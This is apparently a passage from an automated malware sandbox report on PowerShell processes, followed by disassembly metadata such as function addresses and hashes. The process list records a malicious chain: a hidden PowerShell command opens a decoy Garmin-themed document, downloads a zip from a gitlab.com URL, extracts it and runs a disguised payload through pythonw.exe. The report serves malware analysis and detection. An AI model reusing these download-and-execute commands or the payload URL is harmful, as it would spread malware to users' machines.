                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:14
                                                                                                                                                                                                                          Start time:08:20:19
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"
                                                                                                                                                                                                                          Imagebase:0x7ff741d30000
                                                                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:15
                                                                                                                                                                                                                          Start time:08:20:20
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"
                                                                                                                                                                                                                          Imagebase:0x7ff741d30000
                                                                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:17
                                                                                                                                                                                                                          Start time:10:15:06
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
                                                                                                                                                                                                                          Imagebase:0x7ff741d30000
                                                                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          General

                                                                                                                                                                                                                          Target ID:18
                                                                                                                                                                                                                          Start time:10:15:20
                                                                                                                                                                                                                          Start date:19/12/2024
                                                                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                                          Commandline:powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"
                                                                                                                                                                                                                          Imagebase:0x7ff741d30000
                                                                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                                          Disassembly

                                                                                                                                                                                                                          Reset < >

                                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                                            Function 00007FFAAC4A354A Relevance: .5, Instructions: 466COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000C.00000002.1387225355.00007FFAAC4A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC4A0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_12_2_7ffaac4a0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 4b688e6522838df499472c7dc6f25bee7b76647f0340e282162bd0e52097d59a
                                                                                                                                                                                                                            • Instruction ID: 931b4f2b089daa3ab62b62b08b95d2697ce35ad9fcc74dcf11620540340efbbb
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4b688e6522838df499472c7dc6f25bee7b76647f0340e282162bd0e52097d59a
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 44D157A1E0EA8A8FF7559B6C88199B5BBD0EF46724B0841FED04DC71E3E918D848C395
                                                                                                                                                                                                                            Function 00007FFAAC4A09CD Relevance: .4, Instructions: 404COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000C.00000002.1387225355.00007FFAAC4A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC4A0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_12_2_7ffaac4a0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 7908dbdb7b776b1c8adbb54fdaf4b84d00c4d2ddf8cc8d2335e7ed3b32fc4a31
                                                                                                                                                                                                                            • Instruction ID: aeabf7a813df892e69c0ca7d0c4c576f6c6e54deb299771d2189ca24d6d26258
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7908dbdb7b776b1c8adbb54fdaf4b84d00c4d2ddf8cc8d2335e7ed3b32fc4a31
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 49B1566290EBC58FF75A9778982A5B47FD0EF53618B0841FFE08EC70E3D91898498395
                                                                                                                                                                                                                            Function 00007FFAAC4A0AA7 Relevance: .1, Instructions: 119COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000C.00000002.1387225355.00007FFAAC4A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC4A0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_12_2_7ffaac4a0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 2cf137c106d644167225b118a0aa17463b901435f83897c669e3af33b60f794a
                                                                                                                                                                                                                            • Instruction ID: 9c200fd96280009c94f4557b8975774b2b50ea4bf0b56075dd21a01ab574b9fe
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2cf137c106d644167225b118a0aa17463b901435f83897c669e3af33b60f794a
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: C6314872A1FB868FF7A997A849595B87EC0EF53659B5440BED04FC30D3DC18D88882C5
                                                                                                                                                                                                                            Function 00007FFAAC3D4195 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000C.00000002.1386724850.00007FFAAC3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3D0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_12_2_7ffaac3d0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
                                                                                                                                                                                                                            • Instruction ID: a4ea131f91614ee88a655b6a380fbbe1848f1c8183cf50e606b26f8f273bcce2
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4501A77111CB0C8FD744EF0CE051EA5B3E0FB99320F10052EE58AC3665DA36E882CB41

                                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                                            Function 00007FFAAC3D71D3 Relevance: 2.0, Strings: 1, Instructions: 747COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Strings
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000F.00000002.1500076524.00007FFAAC3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3D0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffaac3d0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID: 6
                                                                                                                                                                                                                            • API String ID: 0-1452363761
                                                                                                                                                                                                                            • Opcode ID: 93c8eb7e8d06dc95381458a8e97d4e5d43a01c178541f59ed3686ce02194caa8
                                                                                                                                                                                                                            • Instruction ID: cea16071d7fa78632201e7926820a42a593fe970a47edc98f97603f9c7fe5899
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 93c8eb7e8d06dc95381458a8e97d4e5d43a01c178541f59ed3686ce02194caa8
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6102E130A18A49CFEB95DF6CC445EB9BBE1FF5A310F14466AD00DC7296CA24E846CBC1
                                                                                                                                                                                                                            Function 00007FFAAC4A09CD Relevance: .5, Instructions: 471COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000F.00000002.1500781891.00007FFAAC4A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC4A0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffaac4a0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 90e1a517470357e1b1d32ec5c033116492ec3ef758dc0f8039a24d836efed11e
                                                                                                                                                                                                                            • Instruction ID: 9e156f8086382b12f85bdb3bb292083f4523fc8411bcf478afec9fcbf2e6f53a
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 90e1a517470357e1b1d32ec5c033116492ec3ef758dc0f8039a24d836efed11e
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: DBE1146290EBC58FF35A977858695B47FE0EF53618B0841FFD08EC70E3D918A8498396
                                                                                                                                                                                                                            Function 00007FFAAC4A354A Relevance: .5, Instructions: 460COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000F.00000002.1500781891.00007FFAAC4A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC4A0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffaac4a0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: de82ce094b2367ce9f7fc4e94f780ab3caf7905e600ca27c366ed1963afa6caf
                                                                                                                                                                                                                            • Instruction ID: 6077adb0fd8209444e5c51d45d84a749c86fe59bcaa704261e9f2d003a615731
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: de82ce094b2367ce9f7fc4e94f780ab3caf7905e600ca27c366ed1963afa6caf
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 57D178A1E0EA8A8FF765976C88199B5BBD0EF56724B0841BED04DC71E3E918DC48C3C5
                                                                                                                                                                                                                            Function 00007FFAAC4A0AA7 Relevance: .1, Instructions: 119COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000F.00000002.1500781891.00007FFAAC4A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC4A0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffaac4a0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: f538b2bb469fe673f3b69c2fec1b0f1e7424e6ca6f32cba1b2dcb36844cd9a55
                                                                                                                                                                                                                            • Instruction ID: 4d23b89daeb3f960113b1a767f962a83b4cc61c9139a91621be6edb6dec91cc7
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: f538b2bb469fe673f3b69c2fec1b0f1e7424e6ca6f32cba1b2dcb36844cd9a55
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: E0316862A1FB868FF7A997A848591B87EC0EF53619B4440BED04FC30D3DC18D88882C5
                                                                                                                                                                                                                            Function 00007FFAAC3D4195 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000F.00000002.1500076524.00007FFAAC3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3D0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffaac3d0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
                                                                                                                                                                                                                            • Instruction ID: a4ea131f91614ee88a655b6a380fbbe1848f1c8183cf50e606b26f8f273bcce2
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4501A77111CB0C8FD744EF0CE051EA5B3E0FB99320F10052EE58AC3665DA36E882CB41
                                                                                                                                                                                                                            Function 00007FFAAC3D74A8 Relevance: .0, Instructions: 39COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000F.00000002.1500076524.00007FFAAC3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3D0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffaac3d0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 34be5d466de11c04a137a41fa2b8faaf26c7c2e20ae50f9e7782a70ce9fe8149
                                                                                                                                                                                                                            • Instruction ID: 7d33a4c9f9319e3f53ff374b2b463db9567f697cf319032ad2b680c6a7a792b8
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 34be5d466de11c04a137a41fa2b8faaf26c7c2e20ae50f9e7782a70ce9fe8149
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: BAF0A73271CA048FDB4CAA1CF402DB473D0E785320B10016EE48BC2296D917E8428681

                                                                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                                                                            Function 00007FFAAC3D101D Relevance: .3, Instructions: 259COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 0000000F.00000002.1500076524.00007FFAAC3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3D0000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffaac3d0000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 8a2094a8767a924f6bbda1317aa57500795aad84a7481dc65caf12964b200821
                                                                                                                                                                                                                            • Instruction ID: b5031843bb8aa8e6eb9868ee9bb9d828e01f8a4715205e55146d47890860036f
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8a2094a8767a924f6bbda1317aa57500795aad84a7481dc65caf12964b200821
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8771C09790EBC39FF71397285CA69D9BF60EF1326870941B3D5CA4A093ED15D40A82F1

                                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                                            Function 00007FFAAC54325A Relevance: .4, Instructions: 426COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 00000011.00000002.1634187764.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_17_2_7ffaac540000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 08cd96bc59b246a574f495c95434ca056ffdf4c6c66e55734e1a4e8fab5f5e64
                                                                                                                                                                                                                            • Instruction ID: 7e686f1b81c6a30d534e689171a03fc6c73682d85dafc85ccbe00f683fef4ef8
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 08cd96bc59b246a574f495c95434ca056ffdf4c6c66e55734e1a4e8fab5f5e64
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 80C146619AEA8A8FF755E76CC8195B57BE6EF56310B0841BEE04DC70E3DD18E808C391
                                                                                                                                                                                                                            Function 00007FFAAC54073C Relevance: .3, Instructions: 349COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 00000011.00000002.1634187764.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_17_2_7ffaac540000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 4274f253332c09cb25677c67532d2bbbe757ecd2003a1f376547310daa660e22
                                                                                                                                                                                                                            • Instruction ID: 276a189c85edf3a51fd07cb943c6c4b2a30dd3ba65943719fabd636284bce019
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4274f253332c09cb25677c67532d2bbbe757ecd2003a1f376547310daa660e22
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5EA1172298EB8A8FF7599728D8555B53BE6EF87310F1481BAE04DC7193DD19E80A83C1
                                                                                                                                                                                                                            Function 00007FFAAC54327D Relevance: .3, Instructions: 269COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 00000011.00000002.1634187764.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_17_2_7ffaac540000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: abe9b454cf066653cbf6293e7fc97258bb629723e21bb71dd70dcb9c80661811
                                                                                                                                                                                                                            • Instruction ID: d70d80b8d4aec0b7455de5b65c36c2fa3f9472d3681f71bf7179165cd45528c3
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: abe9b454cf066653cbf6293e7fc97258bb629723e21bb71dd70dcb9c80661811
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3891B3619AFA878FF796976CC9595B47EE6EF52210B1840FEE04DC70E3DD18E8088391
                                                                                                                                                                                                                            Function 00007FFAAC474196 Relevance: .1, Instructions: 69COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 00000011.00000002.1633521143.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_17_2_7ffaac470000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 5062741c7dd25b730b40b4a1cfae12ceff9379ae8e1bb7d7107a5b48b1855488
                                                                                                                                                                                                                            • Instruction ID: 91bd2764c995b9e2ce7358e992b814445be6171f80e01e98c4624628856e014e
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5062741c7dd25b730b40b4a1cfae12ceff9379ae8e1bb7d7107a5b48b1855488
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5001B972F0CA1C4BE75C9A4C740B1B8B3C1E799624F05433FE08ED3282DE15980756CA
                                                                                                                                                                                                                            Function 00007FFAAC474182 Relevance: .1, Instructions: 69COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 00000011.00000002.1633521143.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_17_2_7ffaac470000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: ef047675be9821abb2af4fc45749f08d67a248d257d993e634a6a4de24612924
                                                                                                                                                                                                                            • Instruction ID: b37328292b9fb4697ed05f30e0c2df0ff7db89894d5bf6e52e1ca0b27943a625
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: ef047675be9821abb2af4fc45749f08d67a248d257d993e634a6a4de24612924
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: E301B572F0CA188BE75C9A4C78072B873C1E799724F04023FE08ED3282DE25A84746CA
                                                                                                                                                                                                                            Function 00007FFAAC4741A7 Relevance: .1, Instructions: 68COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 00000011.00000002.1633521143.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_17_2_7ffaac470000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: a5ecd3ce277eeee0289ff5334d3f7f3270355d24ae3a9a1d7a5b14c1b6123417
                                                                                                                                                                                                                            • Instruction ID: ea89bc4eea986476982ee91119367f6fd604ea75352ab1f4ecdd3fc576a1f4f1
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: a5ecd3ce277eeee0289ff5334d3f7f3270355d24ae3a9a1d7a5b14c1b6123417
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: E70171B2B0CA1C4BE75C9A4C68471B8B3C1E799624F05433FE18ED3682DE25A80756CA
                                                                                                                                                                                                                            Function 00007FFAAC4733B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                                            • Source File: 00000011.00000002.1633521143.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false
                                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                                            • Snapshot File: hcaresult_17_2_7ffaac470000_powershell.jbxd
                                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                                            • Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
                                                                                                                                                                                                                            • Instruction ID: bfbf926510f2c94275b7c70522523e97f2c3e2f6a14ef67711fcb719095a95a3
                                                                                                                                                                                                                            • Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
                                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4201677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056DE58AC36A1DA36E892CB45